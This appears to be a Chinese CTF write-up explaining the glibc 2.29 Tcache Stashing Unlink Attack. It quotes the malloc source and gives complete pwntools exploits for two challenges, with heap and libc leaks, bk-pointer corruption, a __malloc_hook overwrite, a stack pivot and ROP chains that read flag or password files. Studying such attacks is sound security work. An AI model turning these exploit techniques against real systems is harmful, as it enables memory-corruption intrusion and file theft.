0%

Tcache_Stashing_Unlink_Attack

Tcache_Stashing_Unlink_Attack就是calloc的分配不从tcache bin里取chunk,calloc会遍历fastbin、small bin、large bin,如果在tcache bin里,对应的size的bin不为空,则会将这些bin的chunk采用头插法插入到tcache bin里。首先,我们来看一下glibc 2.29的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/* 
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk
{
bck = victim->bk; //获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck; //将victim从small bin的链表中卸下
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //将当前chunk从small bin里卸下
bck->fd = bin;
//放入tcache bin里
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

如上,我们看到,从small bin中取出最后一个chunk的时候,对双向链表做了完整性的检查,然而,后面将剩余chunk放入tcache bin的时候却没有这个检查。然后,bck->fd = bin这句代码,可以将bck->fd处写一个main_arena地址。如果我们可以控制bck,那么就能实现任意地址处写一个main_arena的地址。同理,如果我们能够控制small bin的bck,并且保证vuln_addr->fd = bck,那么就能分配到vuln_addr处。

为了加深理解,我们从两道题来巩固一下。

hitcon_ctf_2019_one_punch

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

Delete功能没有清空指针,可以double free。

以及UAF编辑

Add功能使用的是calloc分配,并且size的大小不在fastbin范围,因此用不了fastbin attack。

后门函数里使用malloc分配

但是要想利用后面函数,就得绕过if的检查,而此处是一个堆地址,我们不能直接修改,我们可以利用Tcache_Stashing_Unlink_Attack将此处写一个main_arena地址,进而可以绕过if,执行malloc从tcache bin里分配到目标处。此处,我们的目的仅仅是往那个堆地址处写一个大于6的数据,在Tcache_Stashing_Unlink_Attack时,会从small bin里取chunk到tcache bin,直到tcache bin填满,但是如果我们伪造了bck,第二次遍历的时候就会发生错误,因为目标处我们不可控。因此,我们只需要让其只进行第一次的遍历,那么,我们就得事先将对应的tcache bin里填满6个。为了绕过对small bin最后一个chunk的完整性检查,我们不能伪造最后一个chunk的bck,而应该伪造倒数第二个chunk的bck。因此,我们需要保证在small bin里有两个chunk

然后通过calloc取出最后一个chunk时,发生Tcache Stashing,从而将目标处写上一个main_arena地址。

1
2
3
4
5
6
7
8
#0  
add(0,'a'*0x218)
#1
add(1,'b'*0x80)
#1放入tcache bin 6次,剩余1个空位
for i in range(6):
delete(1)
edit(1,'b'*0x10)

接下来,泄露堆地址和glibc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(6):  
delete(0)
edit(0,'a'*0x10)
delete(0)
show(0)
sh.recvuntil('hero name: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,'a'*0x10)
#得到unsorted bin
delete(0)
show(0)
sh.recvuntil('hero name: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s

接下来,我们需要得到两个small bin。首先,得到第一个0x90的small bin

1
2
3
4
5
6
#从unsorted bin里切割0x190,剩余0x90  
add(1,'a'*0x180)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(1,'a'*0x400)
#gap
add(2,'a'*0x100)

接下来,得到我们第二个small bin。

1
2
3
4
5
6
7
8
9
for i in range(7):  
delete(1)
edit(1,'a'*0x10)
#1放入unsorted bin
delete(1)
#从unsorted bin里切割0x380,剩余0x90
add(2,'a'*0x370)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(2,'a'*0x400)

现在,我们要修改倒数第二个small bin的bk为目标地址,然后实施tcache stashing attack

1
2
3
4
#修改倒数第二个头chunk的bk,fd不变  
edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后门函数了
add(1,'a'*0x80)

现在,我们就可以调用后面函数了,那么通过UAF伪造tcache bin的next指针,分配到目标处。我们可以改写malloc_hook或者free_hook。如果没有开沙箱的话,我们直接改写为one_gadget即可,如果开啦,我们改为add rsp,0xXX,使得栈进入我们可控的buf区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#coding:utf8
from pwn import *

sh = process('./hitcon_ctf_2019_one_punch')
#sh = remote('node3.buuoj.cn',26885)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']

def add(index,content):
sh.sendlineafter('>','1')
sh.sendlineafter('idx:',str(index))
sh.sendafter('hero name:',content)

def malloc(content):
sh.sendlineafter('>','50056')
sh.send(content)

def edit(index,content):
sh.sendlineafter('>','2')
sh.sendlineafter('idx:',str(index))
sh.sendafter('hero name:',content)

def show(index):
sh.sendlineafter('>','3')
sh.sendlineafter('idx:',str(index))

def delete(index):
sh.sendlineafter('>','4')
sh.sendlineafter('idx:',str(index))

#0
add(0,'a'*0x218)
#1
add(1,'b'*0x80)
#1放入tcache bin 6次,剩余1个空位
for i in range(6):
delete(1)
edit(1,'b'*0x10)

for i in range(6):
delete(0)
edit(0,'a'*0x10)
delete(0)
show(0)
sh.recvuntil('hero name: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,'a'*0x10)
#得到unsorted bin
delete(0)
show(0)
sh.recvuntil('hero name: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
add_rsp_48 = libc_base + 0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + 0x000000000010D022
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

print 'libc_base=',hex(libc_base)
print 'add_rsp_48=',hex(add_rsp_48)
#从unsorted bin里切割0x190,剩余0x90
add(1,'a'*0x180)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(1,'a'*0x400)
#gap
add(2,'a'*0x100)

for i in range(7):
delete(1)
edit(1,'a'*0x10)
#1放入unsorted bin
delete(1)
#从unsorted bin里切割0x380,剩余0x90
add(2,'a'*0x370)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(2,'a'*0x400)
#修改倒数第二个头chunk的bk,fd不变
edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后门函数了
add(1,'a'*0x80)
#将malloc_hook链接到tcache bin
edit(0,p64(malloc_hook_addr))
malloc('/flag\x00')
flag_addr = heap_addr
#写malloc_hook
malloc(p64(add_rsp_48))
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
add(1,rop)

sh.interactive()

RedPacket_SoEasyPwn1

此题与上一题差不多,直接贴上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#coding:utf8
from pwn import *

#sh = process('./RedPacket_SoEasyPwn1')
sh = remote('node3.buuoj.cn',28039)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
puts_s = libc.sym['puts']

def add(index,size,content):
sh.sendlineafter('Your input:','1')
sh.sendlineafter('idx:',str(index))
idx = 0
if size == 0x10:
idx = 1
elif size == 0xF0:
idx = 2
elif size == 0x300:
idx = 3
elif size == 0x400:
idx = 4
else:
raise Exception('error size')
sh.sendlineafter('How much do you want?',str(idx))
sh.sendafter('content:',content)

def delete(index):
sh.sendlineafter('Your input:','2')
sh.sendlineafter('idx:',str(index))

def edit(index,content):
sh.sendlineafter('Your input:','3')
sh.sendlineafter('idx:',str(index))
sh.sendafter('content:',content)

def show(index):
sh.sendlineafter('Your input:','4')
sh.sendlineafter('idx:',str(index))

def stackOverflow(payload):
sh.sendlineafter('Your input:','666')
sh.sendafter('What do you want to say?',payload)

for i in range(8):
add(i,0x400,'a')
#六个chunk用于放入0x100的tcache bin
for i in range(8,14):
add(i,0xF0,'b')
#得到0x410大小的unsorted bin
for i in range(14):
delete(i)
#泄露堆地址
show(1)
sh.recv(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露libc地址
show(7)
sh.recv(1)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
leave_ret = libc_base + 0x0000000000058373
open_addr = libc_base + open_s
read_addr = libc_base + read_s
puts_addr = libc_base + puts_s
print 'libc_base=',hex(libc_base)
rop_addr = heap_addr + 0x1F80
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
#rop += '/flag'.ljust(8,'\x00')
rop += '/password.txt\x00'

#从0x410的unsorted bin里切割一个0x310的空间,剩下的0x100的unsorted bin
add(0,0x300,'a')
#malloc一大的堆,使得unsorted bin里的0x100的chunk放入small bin
add(0,0x400,'b')
#挡住top chunk,不能小于0x100,不然会从得到的small bin里取,这样我们前面就白费
add(1,0x400,'a')
#我们使用同样的方法,来得到第二个0x100的unsorted bin
delete(0)
add(1,0x300,'a')
add(1,0x400,'b')
#修改第一个small bin的bk,指向目标地址
edit(0,'a'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x1F70) + p64(heap_addr - 0x1010 + 0x800 - 0x10))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后面函数了
#我们顺便将rop布置在这个堆里
add(2,0xF0,rop)
#栈迁移到我们的rop里执行
stackOverflow('a'*0x80 + p64(rop_addr - 0x8) + p64(leave_ret))

sh.interactive()